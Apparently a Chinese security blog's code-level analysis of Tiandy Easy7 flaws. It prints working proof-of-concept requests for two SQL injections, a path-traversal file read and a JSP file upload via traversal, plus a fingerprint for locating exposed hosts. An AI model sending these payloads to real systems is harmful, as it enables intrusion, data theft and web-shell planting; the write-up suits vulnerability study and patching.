天地伟业Easy7漏洞-浅析"

admin 2026-10-20 23:03:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image。

0x01 技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。

0x02 指纹信息

web.body=\"./jsapi/js/bootstrap/js/bootstrap.min.js\"

0x03 漏洞分析

1.queryUserbyDesc SQL注入漏洞

入口点:
com/tiandy/easy7/core/rest/CLS_REST_User.java#queryUserbyDesc 154-157行

追踪queryUserbyDesc方法进入com/tiandy/easy7/core/bo/CLS_BO_User.java#queryUserbyDesc 643-653行

1.仅进行简单的空值检查if(userDesc!= null && !\"\".equals(userDesc))`

  1. 关键点: 没有对userDesc进行任何安全过滤或SQL特殊字符转义

3.直接将原始参数传递到DAO层 this.daoUser.queryUserbyDesc(userDesc)

追踪daoUser.queryUserbyDesc方法进入com/tiandy/easy7/core/dao/CLS_DAO_User.java#queryUserbyDesc 1133-1153行

这里也就是漏洞触发点了。使用StringBuffer直接拼接SQL语句后使用Hibernate的createSQLQuery()执行原生SQL。

漏洞复现

GET /Easy7/rest/user/queryUserbyDesc?userDesc=1'union+select+1,version(),MD5(123)--+ HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

1.2 getAuthorityByUserId SQL注入漏洞

入口点:com/tiandy/easy7/core/rest/CLS\_REST\_User.java#getAuthorityByUserId92-94行

追踪getAuthorityByUserId方法进入com/tiandy/easy7/core/bo/CLS_BO_User.java#getAuthorityByUserId 443-461行

  1. 仅进行空值检查,未进行安全过滤

  2. 关键代码:this.daoUser.getAuthorityTypesByUserId(userId, objId)

  3. 问题: userId和objId未经任何过滤直接传递到DAO层

追踪getAuthorityTypesByUserId方法进入com/tiandy/easy7/core/dao/CLS\_DAO\_User.java#getAuthorityTypesByUserId 461-472行

1.两个注入点:userId和objId都直接拼接到SQL中,未使用PreparedStatement参数化查询,没有SQL特殊字符转义。

2.SQL执行: 通过Hibernate执行原生SQL

漏洞复现

GET /Easy7/rest/user/getAuthorityByUserId?userId=&objId=a'and(select*from(select+sleep(5))a+union+select+1)='&authTypes.authTypes=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

1.3 downloadFile 任意文件读取漏洞

入口点:com/tiandy/easy7/core/rest/CLS\_REST\_File.java#downloadFile 668-718行

  1. 直接拼接: path + fileName,没有任何安全检查

  2. 文件读取:new FileInputStream(newPath)使用拼接后的路径创建文件输入流

漏洞复现

GET /Easy7/rest/file/downloadFile?fileName=../../../../../../../../../../../../../../etc/hosts HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

1.4 uploadMapServerBgImage 任意文件上传漏洞

入口点:com/tiandy/easy7/core/rest/CLS\_REST\_File.java#uploadMapServerBgImage 1024-1027行

追踪this.boFile.uploadFiles方法进入com/tiandy/easy7/core/bo/CLS\_BO\_File.java#uploadFiles 377-506行

  1. 检查请求是否为multipart/form-data类型

  2. 初始化输入输出流变量

  3. 如果不是multipart请求,返回错误

public CLS_VO_Result uploadFiles(HttpServletRequest req) throws IOException {    CLS_VO_Result result = new CLS_VO_Result();    InputStream fis = null;    FileOutputStream fos = null;    String fileName = \"\";    boolean isMultipart = ServletFileUpload.isMultipartContent(req);    if (!isMultipart) {        result.setRet(-7);        return result;    }
  1. 使用Apache Commons FileUpload解析请求,items列表包含所有表单字段和文件。

  2. 每个item可能是表单字段或上传的文件

FileItemFactory factory = new DiskFileItemFactory();ServletFileUpload upload = new ServletFileUpload(factory);List items = null;
try {    items = upload.parseRequest(req);} catch (FileUploadException var32) {    result.setRet(-7);    return result;}
if (null == items) {    result.setRet(-7);    return result;}

其中uploadParams是一个JSON数组字符串,完全由用户控制这一步很重要。

然后看到将JSON反序列化为CLS\_VO\_MapServerBgImage对象列表。

private String path;  // 上传路径 -用户可控!

private String name;  // 文件名 - 用户可控!

List mapServerBgImage = new ArrayList();Iterator i$ = items.iterator();
String uploadPath;while(i$.hasNext()) {    FileItem fileItems = (FileItem)i$.next();    if (fileItems.isFormField() && fileItems.getSize() != 0L) {        String fieldName = fileItems.getFieldName();        if (\"uploadParams\".equals(fieldName)) {            try {                JSONArray array = null;                uploadPath = fileItems.getString(\"UTF-8\");                if (StringUtils.isNotEmpty(uploadPath)) {                    array = JSONArray.fromObject(uploadPath);                }                mapServerBgImage = JSONArray.toList(array, CLS_VO_MapServerBgImage.class);            } catch (UnsupportedEncodingException var31) {                log.error(\"转码错误\", var31);                result.setRet(-7);                return result;            }        }    }}

1.CLS\_Easy7\_Types.PROJECT\_PATH是项目根路径

2.问题:如果uploadPath = ../../../webapps/

3.mkdirs()方法会创建所有必要的父目录

File dir = new File(CLS_Easy7_Types.PROJECT_PATH + uploadPath);if (!dir.exists()) {    dir.mkdirs();}

基本很明确了路径可控,文件名可控且不存在任何黑白名单。

漏洞复现

POST /Easy7/rest/file/uploadMapServerBgImage HTTP/1.1Host: Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryPwnContent-Length: 301
------WebKitFormBoundaryPwnContent-Disposition: form-data; name=\"uploadParams\"
[{\"path\":\"/../../webapps/Easy7/\",\"name\":\"html1.jsp\"}]------WebKitFormBoundaryPwnContent-Disposition: form-data; name=\"file\"; filename=\"html1.jsp\"Content-Type: image/jpeg
<%out.println(\"Hello World\");%>------WebKitFormBoundaryPwn--


天地伟业Easy7漏洞-浅析" 网络安全文章

天地伟业Easy7漏洞-浅析"

本文分析了天地伟业Easy7系统的多个安全漏洞,包括queryUserbyDesc和getAuthorityByUserId接口的SQL注入漏洞、downloadFile接口的任意文件读取漏洞以及uploadMapServerBgImage接口的任意文件上传漏洞。文章详细描述了漏洞的代码位置、触发机制和利用方法,并提供了具体的复现步骤和请求示例。作者强调技术信息仅供学习,提醒使用者遵守法律法规。
当网络安全与个人息息相关时" 网络安全文章

当网络安全与个人息息相关时"

本文以OSINT调查员ShannonMiller的工作实践为例,探讨网络安全与个人安全的交汇点,强调当网络安全变得个人化时需超越传统技术防护,关注人本层面的威胁应对。文章指出OSINT技术在帮助面临网络骚扰、跟踪等威胁的弱势群体中的价值与挑战,并揭示网络安全正从技术对抗转向社会性议题,呼吁产业界重视技术伦理、防滥用机制与普惠性安全解决方案。
某证书站的一次奇特的挖掘" 网络安全文章

某证书站的一次奇特的挖掘"

本文记录了对某证书站后勤平台的微信端漏洞挖掘过程,发现电脑端访问会跳转主页而手机端可正常操作。通过抓包分析提交工单的POST请求,存在水平越权漏洞:修改ticketId参数可作废他人工单,且ID连续可遍历。作者利用该漏洞成功获取证书,并提示漏洞已修复,同时提供手机抓包教程获取方式。
评论:0   参与:  0